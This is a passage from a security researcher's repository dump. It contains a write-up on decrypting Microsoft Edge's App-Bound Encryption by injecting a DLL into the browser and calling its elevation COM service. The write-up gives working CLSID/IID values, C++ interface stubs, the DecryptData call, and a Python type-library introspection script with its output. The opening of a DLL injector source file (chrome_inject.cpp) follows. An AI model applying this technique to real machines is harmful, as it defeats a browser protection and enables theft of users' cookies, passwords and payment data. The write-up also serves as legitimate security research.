Service)](https://drive.google.com/file/d/1xMXmA0UJifXoTHjHWtVir2rb94OsxXAI/view) (Original: Jan 25, 2021, with later updates) 303 | - **Chrome Developers Blog (Remote Debugging):** [Changes to remote debugging switches to improve security](https://developer.chrome.com/blog/remote-debugging-port) (Example: March 17, 2025) 304 | - **Chrome Developers Blog (DBSC):** [Origin trial: Device Bound Session Credentials in Chrome](https://developer.chrome.com/blog/dbsc-origin-trial) 305 | - **runassu's PoC (Admin-level decryption):** [chrome_v20_decryption](https://github.com/runassu/chrome_v20_decryption) 306 | - **Related Research/Tools:** 307 | - [snovvcrash's X/Twitter Profile (Security Researcher)](https://x.com/snovvcrash) 308 | - [SilentDev33's ChromeAppBound-key-injection (Similar PoC)](https://github.com/SilentDev33/ChromeAppBound-key-injection) 309 | -------------------------------------------------------------------------------- /docs/The_Curious_Case_of_the_Cantankerous_COM_Decrypting_Microsoft_Edge_ABE.md: -------------------------------------------------------------------------------- 1 | # The Curious Case of the Cantankerous COM: Decrypting Microsoft Edge's App-Bound Encryption 2 | 3 | **By Alexander 'xaitax' Hagenah** 4 | 5 | So, you've heard about Google Chrome's App-Bound Encryption (ABE)? That nifty security feature rolled out around Chrome 127 to make life harder for cookie thieves by tying data decryption to the legitimate browser process. My project, [Chrome App-Bound Encryption Decryption](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption/), tackles this for Chrome and its Chromium cousin, Brave, using a user-mode DLL injection technique. Life was good. Data was flowing. Then came Microsoft Edge. 6 | 7 | What started as a "should be straightforward" port to support Edge turned into a delightful (read: occasionally hair-pulling) expedition into the nuances of COM, type libraries, and browser-specific implementations. This is the tale of that little adventure. 8 | 9 | ## The Premise: App-Bound Encryption & The `IElevator` 10 | 11 | A quick recap for the uninitiated: ABE's core idea is that a special AES-256 key (the `app_bound_key`), used for encrypting cookies, passwords, etc., is itself DPAPI-wrapped and stored in the browser's `Local State` file (prefixed with `APPB`). To unwrap this key, Chrome doesn't just call `CryptUnprotectData` directly. Instead, it invokes a method (commonly `DecryptData`) on a COM object, whose interface is often generically referred to as `IElevator`. This COM service, typically part of the browser's "Elevation Service" infrastructure, performs a crucial **path validation**: it only proceeds if the calling executable resides in the browser's legitimate installation directory. 12 | 13 | My tool's approach is conceptually simple: inject a DLL into the target browser process. Running from within the browser's address space, our DLL inherently satisfies the path validation check. It then instantiates the `IElevator` COM object, calls its `DecryptData` method, retrieves the plaintext `app_bound_key`, and subsequently uses this key to decrypt the user's sensitive data (cookies, passwords, payment methods). This strategy worked flawlessly for Google Chrome and Brave Browser, each requiring their specific `IElevator`-equivalent CLSIDs (Class IDs) and IIDs (Interface IDs). 14 | 15 | ## Enter Edge: The First Sign of Trouble 16 | 17 | With Chrome and Brave successfully addressed, extending support to Microsoft Edge *should* have been a relatively simple matter of identifying its corresponding `IElevator` CLSID/IID and incorporating them into the project's configuration. My `chrome_decrypt.dll` utilizes a C++ interface stub for `IElevator`, structured based on common Chromium patterns and the publicly available `elevation_service_idl.idl` from the Chromium source: 18 | 19 | ```cpp 20 | // Our C++ stub for the base IElevator interface, used for Chrome/Brave 21 | // and as the expected base for Edge's variant. 22 | MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C") // Base IElevator IID from Chromium IDL 23 | IOriginalBaseElevator : public IUnknown 24 | { 25 | public: 26 | // VTable slot 3 (0 relative to this interface's custom methods) 27 | virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated( 28 | const WCHAR *crx_path, const WCHAR *browser_appid, 29 | const WCHAR *browser_version, const WCHAR *session_id, 30 | DWORD caller_proc_id, ULONG_PTR *proc_handle) = 0; 31 | 32 | // VTable slot 4 (1 relative) 33 | virtual HRESULT STDMETHODCALLTYPE EncryptData( 34 | ProtectionLevel protection_level, const BSTR plaintext, 35 | BSTR *ciphertext, DWORD *last_error) = 0; 36 | 37 | // VTable slot 5 (2 relative) 38 | virtual HRESULT STDMETHODCALLTYPE DecryptData( 39 | const BSTR ciphertext, BSTR *plaintext, DWORD *last_error) = 0; 40 | }; 41 | ``` 42 | 43 | Initial attempts to apply this to Edge, however, revealed a peculiar behavior: decryption for Edge *only* succeeded if Brave Browser was also installed on the system, and even then, only if I configured my tool to use *Brave's* CLSID and IID while targeting an Edge process. This was... unexpected, to say the least. It hinted at some complex interplay or fallback mechanism in COM component registration but was clearly not a robust or standalone solution for Edge. 44 | 45 | When I attempted to use what seemed to be Edge's *native* identifiers (discovered through registry & [OleView.NET](https://github.com/tyranid/oleviewdotnet) spelunking): 46 | * **Edge CLSID:** `{1FCBE96C-1697-43AF-9140-2897C7C69767}` 47 | * **Edge IID (for its `IElevatorEdge` interface):** `{C9C2B807-7731-4F34-81B7-44FF7779522B}` (let's call this `IID_IElevatorEdge`) 48 | 49 | ...the call to `elevator->DecryptData(...)` within my injected DLL (now running inside `msedge.exe`) would fail with `HRESULT: 0x80070057` (`E_INVALIDARG` - "One or more arguments are invalid."). The `CoCreateInstance` call using these Edge-specific GUIDs would succeed in creating the COM object, but the subsequent `DecryptData` method call was being rejected. 50 | 51 | ## The COM Detective Work: Unraveling Edge's Secrets 52 | 53 | The `E_INVALIDARG` error became the central mystery. If the CLSID correctly activated Edge's `elevation_service.exe`, and the IID correctly identified an interface it provided, why were the arguments to a seemingly standard method invalid? The prime suspect quickly became a potential binary incompatibility between my C++ `IOriginalBaseElevator` interface stub and the actual vtable layout of the interface exposed by Edge's `elevation_service.exe` when queried with its native `IID_IElevatorEdge`. 54 | 55 | ### Registry and Type Library Safari: The Python Chronicles 56 | 57 | To get to the bottom of this, direct introspection of Edge's `elevation_service.exe` type library was necessary. After a few iterations (and some amusing Python script errors involving `comtypes`'s nuances!), a working Python script yielded the crucial insights: 58 | 59 | 1. **`IElevatorEdge` (IID `{C9C2...}`):** 60 | * The Python script confirmed this IID corresponds to an interface named `IElevatorEdge` within Edge's type library. 61 | * Crucially, this `IElevatorEdge` interface itself defines **zero new methods** (`cFuncs: 0`). 62 | * It **inherits from** another interface named `IElevator`, which has the IID `{A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}` (let's call this `IID_BaseElevator`). This IID matched the one used in my C++ `IOriginalBaseElevator` stub and in Chromium's generic `elevation_service_idl.idl`. 63 | 64 | This was promising! It suggested `IElevatorEdge` was merely a vendor-specific "alias" for the standard `IID_BaseElevator` functionality. The logical next step was to instruct `CoCreateInstance` to use Edge's CLSID but request `IID_BaseIElevator`. 65 | The result: `CoCreateInstance failed: 0x80004002 (E_NOINTERFACE)`. 66 | 67 | This was a setback. Edge's COM object, when activated by its CLSID, refused to directly provide a pointer for `IID_BaseIElevator`, even though its own type library declared that its specific `IElevatorEdge` interface inherited from it. 68 | 69 | 2. **The VTable Twist – Inspecting `IElevator` (IID `{A949...}`) *within Edge's Type Library*** 70 | The Python script was then aimed at the `ITypeInfo` for `IID_BaseIElevator` *as defined within Edge's type library*. This revealed: 71 | * This interface (named `IElevator`, IID `{A949...}`) indeed defined **3 methods**. 72 | * Their names were `RunRecoveryCRXElevated`, `EncryptData`, and `DecryptData`. 73 | * The parameters for `DecryptData` (`BSTR ciphertext [in]`, `BSTR* plaintext [out]`, `DWORD* last_error [out]`) perfectly matched my C++ stub. 74 | * **The "Aha!" Moment:** This `IElevator` (IID `{A949...}`) itself **inherited from yet another interface named `IElevatorEdgeBase` (IID `{E12B779C-CDB8-4F19-95A0-9CA19B31A8F6}`).** 75 | * The vtable byte offsets for `RunRecoveryCRXElevated`, `EncryptData`, and `DecryptData` within *this specific definition* of `IElevator` (IID `{A949...}`) were 48, 56, and 64 bytes respectively (these correspond to vtable slots 6, 7, and 8 after the `IUnknown` methods of its ultimate base, assuming 8-byte pointers). 76 | 77 | **Decoding the VTable Anomaly:** 78 | 79 | My C++ `IOriginalBaseElevator` stub (associated with IID `{A949...}`) assumes its methods (`RunRecoveryCRXElevated`, `EncryptData`, `DecryptData`) are at vtable slots 3, 4, and 5 (0-indexed, immediately following `IUnknown`'s 3 methods). 80 | 81 | However, Edge's type library effectively defines the following inheritance chain for the interface we care about: 82 | `IUnknown` -> `IElevatorEdgeBase` (adds 3 unknown methods, occupying slots 3,4,5) -> `IElevator` (IID `{A949...}`, adds the 3 known methods, now at slots 6,7,8) -> `IElevatorEdge` (IID `{C9C2...}`, adds 0 new methods but is the "public" IID for Edge's elevator). 83 | 84 | When my code previously: 85 | 1. Requested `IID_IElevatorEdge` (`{C9C2...}`) from Edge's CLSID. 86 | 2. Stored the resulting pointer in a `ComPtr`. 87 | 3. Called `DecryptData()`. 88 | 89 | It was attempting to call the method at vtable slot 5 (as per `IOriginalBaseElevator`'s definition). But for the `IElevatorEdge` object, slot 5 was one of the unknown methods from `IElevatorEdgeBase`. The actual `DecryptData` was at slot 8. This vtable mismatch was the source of the `E_INVALIDARG` (or `E_NOTIMPL` when testing `RunRecoveryCRXElevated`, which would be slot 3 in my stub vs slot 6 in reality). 90 | 91 | ### The Fix: Tailoring the C++ Interface Stubs for Edge 92 | 93 | With the vtable layout clarified, the solution was to define a new chain of C++ interface stubs specifically for Edge that accurately mirror this discovered structure: 94 | 95 | 1. **`IEdgeElevatorBase_Placeholder`**: Inherits `IUnknown`, adds 3 placeholder methods (matching IID `{E12B...}`). 96 | 2. **`IEdgeIntermediateElevator`**: Inherits `IEdgeElevatorBase_Placeholder`, adds `RunRecoveryCRXElevated`, `EncryptData`, `DecryptData`. This interface corresponds to IID `{A949...}` *as defined by Edge's type library's definition of what IElevator (A949...) is*. 97 | 3. **`IEdgeElevatorFinal`**: Inherits `IEdgeIntermediateElevator`, adds no new methods. This interface corresponds to Edge's public `IElevatorEdge` IID `{C9C2...}`. 98 | 99 | In `chrome_decrypt.cpp`, the `BrowserConfig` for Edge now uses its CLSID `{1FCB...}` and its specific IID `{C9C2...}`. The COM interaction logic then uses a `Microsoft::WRL::ComPtr`: 100 | 101 | ```cpp 102 | // For Edge in DecryptionThreadWorker: 103 | Microsoft::WRL::ComPtr edgeElevator; 104 | hr_create = CoCreateInstance(cfg.clsid, // Edge's CLSID 105 | nullptr, 106 | CLSCTX_LOCAL_SERVER, 107 | cfg.iid, // Edge's specific IID for IEdgeElevatorFinal 108 | &edgeElevator); 109 | // ... 110 | if (SUCCEEDED(hr_proxy)) { // Assuming hr_proxy is set after CoSetProxyBlanket on edgeElevator 111 | hr_decrypt = edgeElevator->DecryptData(bstrEncKey, &bstrPlainKey, &lastComError); 112 | } 113 | ``` 114 | For Chrome/Brave, the original `IOriginalBaseElevator` stub is used, as their services expose interfaces compatible with methods at vtable slots 3,4,5 when their respective IIDs are queried. 115 | 116 | This finally allowed the tool to correctly call `DecryptData` on Edge's `IElevator` service using its native COM identifiers, successfully decrypting the data without relying on Brave's presence. 117 | 118 | ## Challenges and Lessons Learned 119 | 120 | This investigation into Edge's ABE internals was a journey filled with interesting technical hurdles and valuable lessons: 121 | 122 | * **COM Can Be Fickle:** The Component Object Model, while powerful, has layers of subtlety. Type library declarations of interface inheritance don't always guarantee that a COM object will respond to `QueryInterface` for all its declared base IIDs directly via `CoCreateInstance`, nor that the vtable layout for a specific derived IID will be naively callable as its simpler base type without precise C++ stubs that match the true vtable structure for that IID. 123 | * **Browser-Specific Quirks:** Even within the Chromium family, vendors can and do make subtle changes to internal COM components that require specific handling. Edge's unique vtable structure for its `IElevatorEdge` service, compared to the more direct structure apparently used by Chrome and Brave for their equivalents, exemplifies this. 124 | * **The Indispensability of Introspection Tools:** When source code for a specific COM server implementation isn't readily available or when observed behavior deviates from expectations based on shared codebases (like Chromium), tools for type library introspection (like the Python `comtypes` library, once the scripting iterations were complete) become absolutely essential for dissecting the true interface contracts. 125 | * **Methodical Debugging:** Tackling opaque COM errors such as `E_INVALIDARG`, `E_NOINTERFACE`, or `E_NOTIMPL` requires a systematic approach: isolating variables, forming hypotheses, and testing them step-by-step (e.g., verifying CLSIDs, then IIDs, then method call compatibility through vtable analysis). 126 | 127 | This deep dive into Microsoft Edge's App-Bound Encryption was a challenging but ultimately rewarding endeavor. Hope you enjoyed reading it! 128 | 129 | ## Appendix: Python Script for Type Library Introspection 130 | 131 | ```python 132 | import comtypes 133 | import comtypes.client 134 | import comtypes.typeinfo 135 | import comtypes.automation 136 | import ctypes 137 | 138 | IID_EdgeElevatorInterface_str = "{C9C2B807-7731-4F34-81B7-44FF7779522B}" 139 | IID_EdgeElevatorInterface_guid = comtypes.GUID(IID_EdgeElevatorInterface_str) 140 | 141 | IID_BaseElevator_str = "{A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}" 142 | IID_BaseElevator_guid = comtypes.GUID(IID_BaseElevator_str) 143 | 144 | # Obviously change this to the correct version 145 | typelib_path = r"C:\Program Files (x86)\Microsoft\Edge\Application\136.0.3240.64\elevation_service.exe" 146 | 147 | 148 | def get_vt_name(vt_code): 149 | mapping = { 150 | comtypes.automation.VT_EMPTY: "VT_EMPTY", comtypes.automation.VT_NULL: "VT_NULL", 151 | comtypes.automation.VT_I2: "VT_I2 (short)", comtypes.automation.VT_I4: "VT_I4 (LONG)", 152 | comtypes.automation.VT_R4: "VT_R4 (float)", comtypes.automation.VT_R8: "VT_R8 (double)", 153 | comtypes.automation.VT_CY: "VT_CY (CURRENCY)", comtypes.automation.VT_DATE: "VT_DATE", 154 | comtypes.automation.VT_BSTR: "VT_BSTR", comtypes.automation.VT_DISPATCH: "VT_DISPATCH (IDispatch*)", 155 | comtypes.automation.VT_ERROR: "VT_ERROR (SCODE)", comtypes.automation.VT_BOOL: "VT_BOOL", 156 | comtypes.automation.VT_VARIANT: "VT_VARIANT", comtypes.automation.VT_UNKNOWN: "VT_UNKNOWN (IUnknown*)", 157 | comtypes.automation.VT_DECIMAL: "VT_DECIMAL", comtypes.automation.VT_UI1: "VT_UI1 (BYTE)", 158 | comtypes.automation.VT_I1: "VT_I1 (char)", comtypes.automation.VT_UI2: "VT_UI2 (USHORT)", 159 | comtypes.automation.VT_UI4: "VT_UI4 (DWORD/ULONG)", comtypes.automation.VT_I8: "VT_I8 (LONGLONG)", 160 | comtypes.automation.VT_UI8: "VT_UI8 (ULONGLONG)", comtypes.automation.VT_INT: "VT_INT", 161 | comtypes.automation.VT_UINT: "VT_UINT", comtypes.automation.VT_VOID: "VT_VOID", 162 | comtypes.automation.VT_HRESULT: "VT_HRESULT", comtypes.automation.VT_PTR: "VT_PTR", 163 | comtypes.automation.VT_SAFEARRAY: "VT_SAFEARRAY", comtypes.automation.VT_CARRAY: "VT_CARRAY", 164 | comtypes.automation.VT_USERDEFINED: "VT_USERDEFINED", comtypes.automation.VT_LPSTR: "VT_LPSTR", 165 | comtypes.automation.VT_LPWSTR: "VT_LPWSTR", comtypes.automation.VT_RECORD: "VT_RECORD", 166 | 64: "VT_FILETIME", 65: "VT_BLOB", 66: "VT_STREAM", 67: "VT_STORAGE", 167 | 68: "VT_STREAMED_OBJECT", 69: "VT_STORED_OBJECT", 70: "VT_BLOB_OBJECT", 168 | 71: "VT_CF (Clipboard Format)", 72: "VT_CLSID", 73: "VT_VERSIONED_STREAM" 169 | } 170 | is_byref = bool(vt_code & comtypes.automation.VT_BYREF) 171 | is_array = bool(vt_code & comtypes.automation.VT_ARRAY) 172 | base_vt = vt_code & ~(comtypes.automation.VT_BYREF | 173 | comtypes.automation.VT_ARRAY) 174 | name = mapping.get(base_vt, f"Unknown VARTYPE_Base({base_vt})") 175 | if is_array: 176 | name = f"ARRAY_OF({name})" 177 | if is_byref: 178 | name = f"POINTER_TO({name})" 179 | return name 180 | 181 | 182 | def get_tkind_name(tkind_code): 183 | mapping = { 184 | comtypes.typeinfo.TKIND_ENUM: "TKIND_ENUM", 185 | comtypes.typeinfo.TKIND_RECORD: "TKIND_RECORD (struct)", 186 | comtypes.typeinfo.TKIND_MODULE: "TKIND_MODULE", 187 | comtypes.typeinfo.TKIND_INTERFACE: "TKIND_INTERFACE (pure vtable)", 188 | comtypes.typeinfo.TKIND_DISPATCH: "TKIND_DISPATCH (IDispatch based)", 189 | comtypes.typeinfo.TKIND_COCLASS: "TKIND_COCLASS (instantiable class)", 190 | comtypes.typeinfo.TKIND_ALIAS: "TKIND_ALIAS (typedef)", 191 | comtypes.typeinfo.TKIND_UNION: "TKIND_UNION", 192 | comtypes.typeinfo.TKIND_MAX: "TKIND_MAX (not a kind)" 193 | } 194 | return mapping.get(tkind_code, f"Unknown TKIND ({tkind_code})") 195 | 196 | 197 | def get_param_flags_string(flags): 198 | flag_map = { 199 | comtypes.typeinfo.PARAMFLAG_FIN: "in", 200 | comtypes.typeinfo.PARAMFLAG_FOUT: "out", 201 | comtypes.typeinfo.PARAMFLAG_FLCID: "lcid", 202 | comtypes.typeinfo.PARAMFLAG_FRETVAL: "retval", 203 | comtypes.typeinfo.PARAMFLAG_FOPT: "optional", 204 | comtypes.typeinfo.PARAMFLAG_FHASDEFAULT: "hasdefault", 205 | comtypes.typeinfo.PARAMFLAG_FHASCUSTDATA: "hascustomdata" 206 | } 207 | active_flags = [name for flag_val, 208 | name in flag_map.items() if flags & flag_val] 209 | return ", ".join(active_flags) if active_flags else f"none (raw: {flags})" 210 | 211 | 212 | def get_type_name_recursive(type_desc, containing_type_info): 213 | vt = type_desc.vt 214 | if vt & comtypes.automation.VT_BYREF: 215 | base_tdesc = comtypes.typeinfo.TYPEDESC() 216 | base_tdesc.vt = vt & ~comtypes.automation.VT_BYREF 217 | if base_tdesc.vt == comtypes.automation.VT_PTR: 218 | base_tdesc.lptdesc = type_desc.lptdesc 219 | elif base_tdesc.vt == comtypes.automation.VT_USERDEFINED: 220 | base_tdesc.hreftype = type_desc.hreftype 221 | base_name = get_type_name_recursive(base_tdesc, containing_type_info) 222 | return f"POINTER_TO({base_name})" 223 | 224 | if vt == comtypes.automation.VT_PTR: 225 | if type_desc.lptdesc: 226 | pointed_tdesc = type_desc.lptdesc.contents 227 | pointed_name = get_type_name_recursive( 228 | pointed_tdesc, containing_type_info) 229 | return f"POINTER_TO({pointed_name})" 230 | else: 231 | return "POINTER_TO(void)" 232 | elif vt == comtypes.automation.VT_USERDEFINED: 233 | try: 234 | ref_type_info = containing_type_info.GetRefTypeInfo( 235 | type_desc.hreftype) 236 | udt_name, _, _, _ = ref_type_info.GetDocumentation(-1) 237 | return f"{udt_name}" 238 | except Exception: 239 | return f"USERDEFINED(hreftype={type_desc.hreftype})" 240 | elif vt == comtypes.automation.VT_SAFEARRAY: 241 | if type_desc.lptdesc: 242 | element_tdesc = type_desc.lptdesc.contents 243 | element_name = get_type_name_recursive( 244 | element_tdesc, containing_type_info) 245 | return f"SAFEARRAY_OF({element_name})" 246 | else: 247 | return "SAFEARRAY_OF(UNKNOWN)" 248 | else: 249 | return get_vt_name(vt) 250 | 251 | 252 | def print_interface_details(type_info_interface_to_print, interface_name_override=None): 253 | attr = type_info_interface_to_print.GetTypeAttr() 254 | try: 255 | actual_iface_name, iface_doc_string, _, _ = type_info_interface_to_print.GetDocumentation( 256 | -1) 257 | guid_str = str(attr.guid) 258 | print( 259 | f"\n--- Interface: {interface_name_override or actual_iface_name} ---") 260 | print(f" TLB Name: {actual_iface_name}") 261 | if iface_doc_string: 262 | print(f" Doc: '{iface_doc_string}'") 263 | print(f" IID: {guid_str}") 264 | print( 265 | f" Type Kind: {attr.typekind} ({get_tkind_name(attr.typekind)})") 266 | print(f" Methods in this definition (cFuncs): {attr.cFuncs}") 267 | print( 268 | f" Inherited/Implemented Interfaces (cImplTypes): {attr.cImplTypes}") 269 | 270 | for i in range(attr.cImplTypes): 271 | hRefType = type_info_interface_to_print.GetRefTypeOfImplType(i) 272 | ref_type_info = type_info_interface_to_print.GetRefTypeInfo( 273 | hRefType) 274 | ref_attr = ref_type_info.GetTypeAttr() 275 | try: 276 | base_iface_name, _, _, _ = ref_type_info.GetDocumentation(-1) 277 | print( 278 | f" Inherits [{i}]: {base_iface_name} (IID: {str(ref_attr.guid)})") 279 | finally: 280 | pass 281 | 282 | if attr.cFuncs > 0: 283 | print("\n Methods (defined in this interface):") 284 | for i in range(attr.cFuncs): 285 | func_desc = type_info_interface_to_print.GetFuncDesc(i) 286 | try: 287 | names = type_info_interface_to_print.GetNames( 288 | func_desc.memid, func_desc.cParams + 1) 289 | func_name = names[0] if names else "(Unknown Name)" 290 | vtable_slot_index = func_desc.oVft // ctypes.sizeof( 291 | ctypes.c_void_p) 292 | 293 | print(f" [{i}] Method: {func_name}") 294 | print( 295 | f" VTable Slot (absolute in COM object): {vtable_slot_index} (Offset: {func_desc.oVft} bytes from IFace start)") 296 | print( 297 | f" Member ID: {func_desc.memid}, Invoke Kind: {func_desc.invkind}, CallConv: {func_desc.callconv}, FuncFlags: {func_desc.wFuncFlags}") 298 | 299 | ret_type_name = get_type_name_recursive( 300 | func_desc.elemdescFunc.tdesc, type_info_interface_to_print) 301 | print(f" Return Type: {ret_type_name}") 302 | 303 | if func_desc.cParams > 0: 304 | print(f" Parameters ({func_desc.cParams}):") 305 | for j in range(func_desc.cParams): 306 | param_name = names[j + 307 | 1] if len(names) > j + 1 else f"param{j}" 308 | 309 | elem_desc_param = func_desc.lprgelemdescParam[j] 310 | 311 | param_flags_value = elem_desc_param._.paramdesc.wParamFlags 312 | 313 | param_flags_str = get_param_flags_string(param_flags_value) 314 | param_type_desc = elem_desc_param.tdesc 315 | param_type_name = get_type_name_recursive( 316 | param_type_desc, type_info_interface_to_print) 317 | 318 | print( 319 | f" [{j}] '{param_name}': {param_type_name} (Flags: {param_flags_str})") 320 | finally: 321 | pass 322 | finally: 323 | pass 324 | 325 | 326 | try: 327 | comtypes.CoInitialize() 328 | print(f"Attempting to load type library from: {typelib_path}") 329 | type_lib = comtypes.typeinfo.LoadTypeLibEx(typelib_path) 330 | lib_name, lib_doc, _, _ = type_lib.GetDocumentation(-1) 331 | print(f"Successfully loaded type library: {lib_name} (Doc: '{lib_doc}')") 332 | 333 | print("\nInspecting IElevatorEdge (IID: {C9C2...}) directly:") 334 | type_info_edge_elevator = type_lib.GetTypeInfoOfGuid( 335 | IID_EdgeElevatorInterface_guid) 336 | print_interface_details(type_info_edge_elevator, "IElevatorEdge") 337 | 338 | print( 339 | "\nInspecting base IElevator (IID: {A949...}) as defined in Edge's TypeLib:") 340 | try: 341 | type_info_base_elevator = type_lib.GetTypeInfoOfGuid( 342 | IID_BaseElevator_guid) 343 | print_interface_details(type_info_base_elevator, "BaseIElevator") 344 | except comtypes.COMError as e: 345 | if e.hresult == comtypes.hresult.TYPE_E_ELEMENTNOTFOUND: 346 | print( 347 | f" Interface with IID {IID_BaseElevator_guid} not found directly in this TypeLib.") 348 | else: 349 | print( 350 | f" COMError finding base IElevator: HRESULT {hex(e.hresult)}, Text: {e.text if e.text else ''}") 351 | 352 | except OSError as e: 353 | print(f"OSError trying to load type library: {e}") 354 | except comtypes.COMError as e: 355 | print( 356 | f"A COM Error occurred: HRESULT {hex(e.hresult)}, Text: {e.text if e.text else ''}") 357 | except Exception as e: 358 | print(f"An unexpected error occurred: {e}") 359 | import traceback 360 | traceback.print_exc() 361 | finally: 362 | comtypes.CoUninitialize() 363 | ``` 364 | 365 | Resulting in: 366 | 367 | ```powershell 368 | PS C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption> python .\edge_com_abe.py 369 | Attempting to load type library from: C:\Program Files (x86)\Microsoft\Edge\Application\136.0.3240.64\elevation_service.exe 370 | Successfully loaded type library: ElevatorLib (Doc: 'Elevator 1.0 Type Library') 371 | 372 | Inspecting IElevatorEdge (IID: {C9C2...}) directly: 373 | 374 | --- Interface: IElevatorEdge --- 375 | TLB Name: IElevatorEdge 376 | Doc: 'IElevatorEdge Interface' 377 | IID: {C9C2B807-7731-4F34-81B7-44FF7779522B} 378 | Type Kind: 3 (TKIND_INTERFACE (pure vtable)) 379 | Methods in this definition (cFuncs): 0 380 | Inherited/Implemented Interfaces (cImplTypes): 1 381 | Inherits [0]: IElevator (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) 382 | 383 | Inspecting base IElevator (IID: {A949...}) as defined in Edge's TypeLib: 384 | 385 | --- Interface: BaseIElevator --- 386 | TLB Name: IElevator 387 | Doc: 'IElevator Interface' 388 | IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C} 389 | Type Kind: 3 (TKIND_INTERFACE (pure vtable)) 390 | Methods in this definition (cFuncs): 3 391 | Inherited/Implemented Interfaces (cImplTypes): 1 392 | Inherits [0]: IElevatorEdgeBase (IID: {E12B779C-CDB8-4F19-95A0-9CA19B31A8F6}) 393 | 394 | Methods (defined in this interface): 395 | [0] Method: RunRecoveryCRXElevated 396 | VTable Slot (absolute in COM object): 6 (Offset: 48 bytes from IFace start) 397 | Member ID: 1610743808, Invoke Kind: 1, CallConv: 4, FuncFlags: 0 398 | Return Type: VT_HRESULT 399 | Parameters (6): 400 | [0] 'crx_path': VT_LPWSTR (Flags: in) 401 | [1] 'browser_appid': VT_LPWSTR (Flags: in) 402 | [2] 'browser_version': VT_LPWSTR (Flags: in) 403 | [3] 'session_id': VT_LPWSTR (Flags: in) 404 | [4] 'caller_proc_id': VT_UI4 (DWORD/ULONG) (Flags: in) 405 | [5] 'proc_handle': POINTER_TO(ULONG_PTR) (Flags: out) 406 | [1] Method: EncryptData 407 | VTable Slot (absolute in COM object): 7 (Offset: 56 bytes from IFace start) 408 | Member ID: 1610743809, Invoke Kind: 1, CallConv: 4, FuncFlags: 0 409 | Return Type: VT_HRESULT 410 | Parameters (4): 411 | [0] 'protection_level': ProtectionLevel (Flags: in) 412 | [1] 'plaintext': VT_BSTR (Flags: in) 413 | [2] 'ciphertext': POINTER_TO(VT_BSTR) (Flags: out) 414 | [3] 'last_error': POINTER_TO(VT_UI4 (DWORD/ULONG)) (Flags: out) 415 | [2] Method: DecryptData 416 | VTable Slot (absolute in COM object): 8 (Offset: 64 bytes from IFace start) 417 | Member ID: 1610743810, Invoke Kind: 1, CallConv: 4, FuncFlags: 0 418 | Return Type: VT_HRESULT 419 | Parameters (3): 420 | [0] 'ciphertext': VT_BSTR (Flags: in) 421 | [1] 'plaintext': POINTER_TO(VT_BSTR) (Flags: out) 422 | [2] 'last_error': POINTER_TO(VT_UI4 (DWORD/ULONG)) (Flags: out) 423 | ``` -------------------------------------------------------------------------------- /src/chrome_inject.cpp: -------------------------------------------------------------------------------- 1 | // chrome_inject.cpp 2 | // v0.10.0 (c) Alexander 'xaitax' Hagenah 3 | // Licensed under the MIT License. See LICENSE file in the project root for full license information. 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | #ifndef IMAGE_FILE_MACHINE_ARM64 22 | #define IMAGE_FILE_MACHINE_ARM64 0xAA64 23 | #endif 24 | 25 | #pragma comment(lib, "shell32.lib") 26 | #pragma comment(lib, "version.lib") 27 | 28 | const WCHAR *COMPLETION_EVENT_NAME_INJECTOR = L"Global\\ChromeDecryptWorkDoneEvent"; 29 | const char *SESSION_CONFIG_FILE_NAME_INJECTOR = "chrome_decrypt_session.cfg"; 30 | 31 | constexpr DWORD DLL_COMPLETION_TIMEOUT_MS = 60000; 32 | constexpr DWORD BROWSER_INIT_WAIT_MS = 3000; 33 | constexpr DWORD INJECTOR_REMOTE_THREAD_WAIT_MS = 15000; 34 | 35 | typedef LONG NTSTATUS; 36 | #ifndef NT_SUCCESS 37 | #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) 38 | #endif 39 | 40 | namespace fs = std::filesystem; 41 | static bool verbose = false; 42 | static std::wstring g_customOutputPathArg; 43 | 44 | std::string WStringToUtf8(std::wstring_view w_sv) 45 | { 46 | if (w_sv.empty()) 47 | return std::string(); 48 | int size_needed = WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast(w_sv.length()), nullptr, 0, nullptr, nullptr); 49 | if (size_needed == 0) 50 | { 51 | return ""; 52 | } 53 | std::string utf8_str(size_needed, '\0'); 54 | if (WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast(w_sv.length()), &utf8_str[0], size_needed, nullptr, nullptr) == 0) 55 | { 56 | return ""; 57 | } 58 | return utf8_str; 59 | } 60 | 61 | void print_hex_ptr(std::ostringstream &oss, const void *ptr) 62 | { 63 | oss << "0x" << std::hex << reinterpret_cast(ptr); 64 | } 65 | 66 | inline void debug(const std::string &msg) 67 | { 68 | if (!verbose) 69 | return; 70 | HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); 71 | SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN); 72 | std::cout << "[#] " << msg << std::endl; 73 | SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE); 74 | } 75 | 76 | struct HandleGuard 77 | { 78 | HANDLE h_; 79 | std::string context_msg; 80 | 81 | explicit HandleGuard(HANDLE h = nullptr, const std::string &context = "") 82 | : h_((h == INVALID_HANDLE_VALUE) ? nullptr : h), context_msg(context) 83 | { 84 | if (h_ && verbose) 85 | { 86 | std::ostringstream oss; 87 | oss << "HandleGuard: acquired handle "; 88 | print_hex_ptr(oss, h_); 89 | if (!context_msg.empty()) 90 | oss << " (" << context_msg << ")"; 91 | debug(oss.str()); 92 | } 93 | } 94 | ~HandleGuard() 95 | { 96 | if (h_) 97 | { 98 | if (verbose) 99 | { 100 | std::ostringstream oss; 101 | oss << "HandleGuard: closing handle "; 102 | print_hex_ptr(oss, h_); 103 | if (!context_msg.empty()) 104 | oss << " (" << context_msg << ")"; 105 | debug(oss.str()); 106 | } 107 | CloseHandle(h_); 108 | } 109 | } 110 | HANDLE get() const { 